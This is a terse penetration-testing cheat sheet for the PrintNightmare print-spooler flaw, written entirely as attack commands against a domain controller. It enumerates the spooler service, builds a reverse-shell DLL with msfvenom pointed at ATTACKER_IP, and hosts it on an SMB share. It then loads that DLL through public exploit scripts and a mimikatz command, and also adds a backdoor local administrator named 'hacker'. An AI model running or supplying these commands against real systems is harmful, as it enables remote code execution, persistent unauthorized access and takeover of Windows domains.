PrintNightmare

impacket-rpcdump DC_IP | grep -i "spoolsv\|MS-RPRN"

Get-Service Spooler
ls \\DC_IP\pipe\spoolss

# Generate DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o evil.dll

# Host via SMB
impacket-smbserver share . -smb2support

# https://github.com/cube0x0/CVE-2021-1675
python3 CVE-2021-1675.py DOMAIN/user:password@DC_IP '\\ATTACKER_IP\share\evil.dll'

# https://github.com/calebstewart/CVE-2021-1675
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DriverName "PrintMe" -NewUser "hacker" -NewPassword "Password123!"

misc::printnightmare /server:DC_IP /library:\\ATTACKER_IP\share\evil.dll